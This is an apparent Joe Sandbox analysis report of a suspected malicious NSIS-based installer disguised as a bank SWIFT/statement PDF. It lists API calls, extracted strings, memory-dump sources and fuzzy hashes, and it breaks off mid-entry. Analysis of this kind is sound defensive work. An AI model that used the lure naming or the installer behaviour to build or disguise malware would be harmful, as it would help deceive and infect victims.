                                                                                                            • lstrcatW.KERNEL32(00436000,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,00436800,75923420,00000000,00434000), ref: 00403935
                                                                                                            • lstrlenW.KERNEL32(00427180,?,?,?,00427180,00000000,00434800,00436000,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,00436800), ref: 004039B5
                                                                                                            • lstrcmpiW.KERNEL32(00427178,.exe,00427180,?,?,?,00427180,00000000,00434800,00436000,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000), ref: 004039C8
                                                                                                            • GetFileAttributesW.KERNEL32(00427180), ref: 004039D3
                                                                                                            • LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00434800), ref: 00403A1C
                                                                                                              • Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E
                                                                                                            • RegisterClassW.USER32(00428180), ref: 00403A59
                                                                                                            • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A71
                                                                                                            • CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403AA6
                                                                                                            • ShowWindow.USER32(00000005,00000000), ref: 00403ADC
                                                                                                            • LoadLibraryW.KERNEL32(RichEd20), ref: 00403AED
                                                                                                            • LoadLibraryW.KERNEL32(RichEd32), ref: 00403AF8
                                                                                                            • GetClassInfoW.USER32(00000000,RichEdit20W,00428180), ref: 00403B08
                                                                                                            • GetClassInfoW.USER32(00000000,RichEdit,00428180), ref: 00403B15
                                                                                                            • RegisterClassW.USER32(00428180), ref: 00403B1E
                                                                                                            • DialogBoxParamW.USER32(?,00000000,00403C57,00000000), ref: 00403B3D
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
                                                                                                            • String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
                                                                                                            • API String ID: 914957316-1115850852
                                                                                                            • Opcode ID: d0fa4835c9c244ef81a80b769fa25e5675a0a47ce1ec59f3ecf61db25a6a7c64
                                                                                                            • Instruction ID: b862c1471ebdc097eb7bd7ac0b5924faedec86185335dcace1f032bfb9465ac2
                                                                                                            • Opcode Fuzzy Hash: d0fa4835c9c244ef81a80b769fa25e5675a0a47ce1ec59f3ecf61db25a6a7c64
                                                                                                            • Instruction Fuzzy Hash: 5561B670604201BAE720AF669C46E3B3A6CEB45759F40453FF945B62E2CB786D02CA2D
                                                                                                            APIs
                                                                                                            • CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040436A
                                                                                                            • GetDlgItem.USER32(?,000003E8), ref: 0040437E
                                                                                                            • SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040439B
                                                                                                            • GetSysColor.USER32(?), ref: 004043AC
                                                                                                            • SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043BA
                                                                                                            • SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043C8
                                                                                                            • lstrlenW.KERNEL32(?), ref: 004043CD
                                                                                                            • SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043DA
                                                                                                            • SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043EF
                                                                                                            • GetDlgItem.USER32(?,0000040A), ref: 00404448
                                                                                                            • SendMessageW.USER32(00000000), ref: 0040444F
                                                                                                            • GetDlgItem.USER32(?,000003E8), ref: 0040447A
                                                                                                            • SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044BD
                                                                                                            • LoadCursorW.USER32(00000000,00007F02), ref: 004044CB
                                                                                                            • SetCursor.USER32(00000000), ref: 004044CE
                                                                                                            • ShellExecuteW.SHELL32(0000070B,open,00427180,00000000,00000000,00000001), ref: 004044E3
                                                                                                            • LoadCursorW.USER32(00000000,00007F00), ref: 004044EF
                                                                                                            • SetCursor.USER32(00000000), ref: 004044F2
                                                                                                            • SendMessageW.USER32(00000111,00000001,00000000), ref: 00404521
                                                                                                            • SendMessageW.USER32(00000010,00000000,00000000), ref: 00404533
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
                                                                                                            • String ID: CB@$N$open
                                                                                                            • API String ID: 3615053054-4029390422
                                                                                                            • Opcode ID: 2203d86e9aedfb02f953f7f44e7e92c7d68489696ba88c708ebc1c14ae09885d
                                                                                                            • Instruction ID: ed67d3ceb40554f4a20f9fe4cecdec295417cbe43b6f72f0b7bb3cee00e3d4b7
                                                                                                            • Opcode Fuzzy Hash: 2203d86e9aedfb02f953f7f44e7e92c7d68489696ba88c708ebc1c14ae09885d
                                                                                                            • Instruction Fuzzy Hash: 037173B1A00209BFDB109F64DD45A6A7B69FB84315F00813AF705BA2D0C778AD51DF99
                                                                                                            APIs
                                                                                                            • lstrcpyW.KERNEL32(00425D70,NUL,?,00000000,?,?,?,00405DAC,?,?,00000001,00405924,?,00000000,000000F1,?), ref: 00405C18
                                                                                                            • CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,00405DAC,?,?,00000001,00405924,?,00000000,000000F1,?), ref: 00405C3C
                                                                                                            • GetShortPathNameW.KERNEL32(00000000,00425D70,00000400), ref: 00405C45
                                                                                                              • Part of subcall function 00405ABB: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405ACB
                                                                                                              • Part of subcall function 00405ABB: lstrlenA.KERNEL32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFD
                                                                                                            • GetShortPathNameW.KERNEL32(?,00426570,00000400), ref: 00405C62
                                                                                                            • wsprintfA.USER32 ref: 00405C80
                                                                                                            • GetFileSize.KERNEL32(00000000,00000000,00426570,C0000000,00000004,00426570,?,?,?,?,?), ref: 00405CBB
                                                                                                            • GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405CCA
                                                                                                            • lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405D02
                                                                                                            • SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000000,00425970,00000000,-0000000A,00409544,00000000,[Rename],00000000,00000000,00000000), ref: 00405D58
                                                                                                            • WriteFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405D6A
                                                                                                            • GlobalFree.KERNEL32(00000000), ref: 00405D71
                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00405D78
                                                                                                              • Part of subcall function 00405B56: GetFileAttributesW.KERNEL32(00000003,00402DFF,00437800,80000000,00000003), ref: 00405B5A
                                                                                                              • Part of subcall function 00405B56: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizeWritewsprintf
                                                                                                            • String ID: %ls=%ls$NUL$[Rename]$p]B$peB
                                                                                                            • API String ID: 1265525490-3322868524
                                                                                                            • Opcode ID: 3c8f8921d5db17dcea38d37436245cad2ed6acf29c8dc53bbb3a8225ee1bc969
                                                                                                            • Instruction ID: dd28b8746f6bac9015e409c36d2f5baf321d2fce784c03eddf9b1c2e257c4ca8
                                                                                                            • Opcode Fuzzy Hash: 3c8f8921d5db17dcea38d37436245cad2ed6acf29c8dc53bbb3a8225ee1bc969
                                                                                                            • Instruction Fuzzy Hash: 9741E271604B19BBD2216B715C4DF6B3B6CEF41754F14453BBA01B62D2EA3CA8018EBD
                                                                                                            APIs
                                                                                                            • DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
                                                                                                            • BeginPaint.USER32(?,?), ref: 00401047
                                                                                                            • GetClientRect.USER32(?,?), ref: 0040105B
                                                                                                            • CreateBrushIndirect.GDI32(00000000), ref: 004010CF
                                                                                                            • FillRect.USER32(00000000,?,00000000), ref: 004010E4
                                                                                                            • DeleteObject.GDI32(?), ref: 004010ED
                                                                                                            • CreateFontIndirectW.GDI32(?), ref: 00401105
                                                                                                            • SetBkMode.GDI32(00000000,00000001), ref: 00401126
                                                                                                            • SetTextColor.GDI32(00000000,000000FF), ref: 00401130
                                                                                                            • SelectObject.GDI32(00000000,?), ref: 00401140
                                                                                                            • DrawTextW.USER32(00000000,004281E0,000000FF,00000010,00000820), ref: 00401156
                                                                                                            • SelectObject.GDI32(00000000,00000000), ref: 00401160
                                                                                                            • DeleteObject.GDI32(?), ref: 00401165
                                                                                                            • EndPaint.USER32(?,?), ref: 0040116E
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
                                                                                                            • String ID: F
                                                                                                            • API String ID: 941294808-1304234792
                                                                                                            • Opcode ID: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
                                                                                                            • Instruction ID: 126a239e0572de30fb8c34ac70cebce50066b6690b2383a097db7944ba687981
                                                                                                            • Opcode Fuzzy Hash: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
                                                                                                            • Instruction Fuzzy Hash: DA419A71804249AFCB058FA5DD459BFBFB9FF48310F00802AF951AA1A0C738EA51DFA5
                                                                                                            APIs
                                                                                                            • GetDlgItem.USER32(?,000003FB), ref: 00404619
                                                                                                            • SetWindowTextW.USER32(00000000,?), ref: 00404643
                                                                                                            • SHBrowseForFolderW.SHELL32(?), ref: 004046F4
                                                                                                            • CoTaskMemFree.OLE32(00000000), ref: 004046FF
                                                                                                            • lstrcmpiW.KERNEL32(00427180,004226D0,00000000,?,?), ref: 00404731
                                                                                                            • lstrcatW.KERNEL32(?,00427180), ref: 0040473D
                                                                                                            • SetDlgItemTextW.USER32(?,000003FB,?), ref: 0040474F
                                                                                                              • Part of subcall function 004056AA: GetDlgItemTextW.USER32(?,?,00000400,00404786), ref: 004056BD
                                                                                                              • Part of subcall function 0040617E: CharNextW.USER32(?,*?|<>/":,00000000,00434000,00436800,00436800,00000000,00403332,00436800,75923420,00403512), ref: 004061E1
                                                                                                              • Part of subcall function 0040617E: CharNextW.USER32(?,?,?,00000000), ref: 004061F0
                                                                                                              • Part of subcall function 0040617E: CharNextW.USER32(?,00434000,00436800,00436800,00000000,00403332,00436800,75923420,00403512), ref: 004061F5
                                                                                                              • Part of subcall function 0040617E: CharPrevW.USER32(?,?,00436800,00436800,00000000,00403332,00436800,75923420,00403512), ref: 00406208
                                                                                                            • GetDiskFreeSpaceW.KERNEL32(004206A0,?,?,0000040F,?,004206A0,004206A0,?,00000000,004206A0,?,?,000003FB,?), ref: 00404810
                                                                                                            • MulDiv.KERNEL32(?,0000040F,00000400), ref: 0040482B
                                                                                                            • SetDlgItemTextW.USER32(00000000,00000400,00420690), ref: 004048B1
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
                                                                                                            • String ID: A
                                                                                                            • API String ID: 2246997448-3554254475
                                                                                                            • Opcode ID: 7bae5448d950fa7fc9b780a264b0000045a755fe0574635acf906d6e28ab15ff
                                                                                                            • Instruction ID: fc6e5784adbf23f3bf0ca4204261aafad130db7b69f5cfc08d06a9dfd3cb4e02
                                                                                                            • Opcode Fuzzy Hash: 7bae5448d950fa7fc9b780a264b0000045a755fe0574635acf906d6e28ab15ff
                                                                                                            • Instruction Fuzzy Hash: 1B916FB2900209ABDB11AFA1CC85AAF77B8EF85354F10847BF701B72D1D77C99418B69
                                                                                                            APIs
                                                                                                            • GetTickCount.KERNEL32 ref: 00402DD0
                                                                                                            • GetModuleFileNameW.KERNEL32(00000000,00437800,00000400), ref: 00402DEC
                                                                                                              • Part of subcall function 00405B56: GetFileAttributesW.KERNEL32(00000003,00402DFF,00437800,80000000,00000003), ref: 00405B5A
                                                                                                              • Part of subcall function 00405B56: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C
                                                                                                            • GetFileSize.KERNEL32(00000000,00000000,00438000,00000000,00435800,00435800,00437800,00437800,80000000,00000003), ref: 00402E35
                                                                                                            • GlobalAlloc.KERNEL32(00000040,00409230), ref: 00402F7C
                                                                                                            Strings
                                                                                                            • Null, xrefs: 00402EB5
                                                                                                            • Error launching installer, xrefs: 00402E0C
                                                                                                            • Inst, xrefs: 00402EA3
                                                                                                            • Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403013
                                                                                                            • Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402FC5
                                                                                                            • soft, xrefs: 00402EAC
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
                                                                                                            • String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
                                                                                                            • API String ID: 2803837635-787788815
                                                                                                            • Opcode ID: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
                                                                                                            • Instruction ID: 37f794aabb7b6cc22e4429bd010eaec377b65274dead3bcbf73b1a6bf24b43e2
                                                                                                            • Opcode Fuzzy Hash: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
                                                                                                            • Instruction Fuzzy Hash: FB610571940205ABDB20AF65DD89BAE3AB8EB04359F20417BF505B32D1C7BC9E41DB9C
                                                                                                            APIs
                                                                                                            • GetVersion.KERNEL32(00000000,004216B0,?,004051CB,004216B0,00000000,00000000,00000000), ref: 00405FCF
                                                                                                            • GetSystemDirectoryW.KERNEL32(00427180,00000400), ref: 0040604D
                                                                                                            • GetWindowsDirectoryW.KERNEL32(00427180,00000400), ref: 00406060
                                                                                                            • SHGetSpecialFolderLocation.SHELL32(?,?), ref: 0040609C
                                                                                                            • SHGetPathFromIDListW.SHELL32(?,00427180), ref: 004060AA
                                                                                                            • CoTaskMemFree.OLE32(?), ref: 004060B5
                                                                                                            • lstrcatW.KERNEL32(00427180,\Microsoft\Internet Explorer\Quick Launch), ref: 004060D9
                                                                                                            • lstrlenW.KERNEL32(00427180,00000000,004216B0,?,004051CB,004216B0,00000000,00000000,00000000), ref: 00406133
                                                                                                            Strings
                                                                                                            • \Microsoft\Internet Explorer\Quick Launch, xrefs: 004060D3
                                                                                                            • Software\Microsoft\Windows\CurrentVersion, xrefs: 0040601B
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
                                                                                                            • String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
                                                                                                            • API String ID: 900638850-730719616
                                                                                                            • Opcode ID: 6742d19b0b1c5090879c3cfba661a75a2238e305d4f85b0b169f5eea2b4c5ff0
                                                                                                            • Instruction ID: 201fcfe404e7502d8ff22bbbb8bc1db0d7d07a9235330109bbd625d5d43c8b09
                                                                                                            • Opcode Fuzzy Hash: 6742d19b0b1c5090879c3cfba661a75a2238e305d4f85b0b169f5eea2b4c5ff0
                                                                                                            • Instruction Fuzzy Hash: 93612371A40516EBDB209F24CC44AAF37A5EF00314F51813BE546BA2E0D73D8AA2CB4E
                                                                                                            APIs
                                                                                                            • GetWindowLongW.USER32(?,000000EB), ref: 004041B3
                                                                                                            • GetSysColor.USER32(00000000), ref: 004041CF
                                                                                                            • SetTextColor.GDI32(?,00000000), ref: 004041DB
                                                                                                            • SetBkMode.GDI32(?,?), ref: 004041E7
                                                                                                            • GetSysColor.USER32(?), ref: 004041FA
                                                                                                            • SetBkColor.GDI32(?,?), ref: 0040420A
                                                                                                            • DeleteObject.GDI32(?), ref: 00404224
                                                                                                            • CreateBrushIndirect.GDI32(?), ref: 0040422E
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
                                                                                                            • String ID:
                                                                                                            • API String ID: 2320649405-0
                                                                                                            • Opcode ID: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
                                                                                                            • Instruction ID: 80eb99ce468fafd782bf4c41e5e54efb1aa93a8fb2f83beca87368335cd0d861
                                                                                                            • Opcode Fuzzy Hash: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
                                                                                                            • Instruction Fuzzy Hash: B221C6B1904744ABCB219F68DD08B4B7BF8AF40710F04896DF951F26E1C738E944CB65
                                                                                                            APIs
                                                                                                            • ReadFile.KERNEL32(?,?,?,?), ref: 004025DB
                                                                                                            • MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402616
                                                                                                            • SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402639
                                                                                                            • MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040264F
                                                                                                              • Part of subcall function 00405BD9: ReadFile.KERNEL32(00409230,00000000,00000000,00000000,00000000,00413E78,0040BE78,0040330C,00409230,00409230,004031FE,00413E78,00004000,?,00000000,?), ref: 00405BED
                                                                                                              • Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: File$ByteCharMultiReadWide$Pointerwsprintf
                                                                                                            • String ID: 9
                                                                                                            • API String ID: 1149667376-2366072709
                                                                                                            • Opcode ID: 5bf3696fc1b43342bc1c7e4b21794d67987bb543e605c58fae928a8d5a7d4e33
                                                                                                            • Instruction ID: 2cb5264777941c8734ead6492e5e892e31f06070e548dc8493562ac8cc7c1c9a
                                                                                                            • Opcode Fuzzy Hash: 5bf3696fc1b43342bc1c7e4b21794d67987bb543e605c58fae928a8d5a7d4e33
                                                                                                            • Instruction Fuzzy Hash: B551E971E04209ABDF24DF94DE88AAEB779FF04304F50443BE501B62D0D7B99A42CB69
                                                                                                            APIs
                                                                                                            • GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 00402809
                                                                                                            • GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,?,000000F0), ref: 00402825
                                                                                                            • GlobalFree.KERNEL32(FFFFFD66), ref: 0040285E
                                                                                                            • WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402870
                                                                                                            • GlobalFree.KERNEL32(00000000), ref: 00402877
                                                                                                            • CloseHandle.KERNEL32(?,?,?,?,?,?,000000F0), ref: 0040288F
                                                                                                            • DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 004028A3
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Global$AllocFileFree$CloseDeleteHandleWrite
                                                                                                            • String ID:
                                                                                                            • API String ID: 3294113728-0
                                                                                                            • Opcode ID: 120950de23c25218e4c137f2e62925978e01813800c9cf407bd4cdabe4d04e4e
                                                                                                            • Instruction ID: c52f99eb37a0f9a93b384f1dc8ea19ce670fa72408cf6cd502fc0ac50d833161
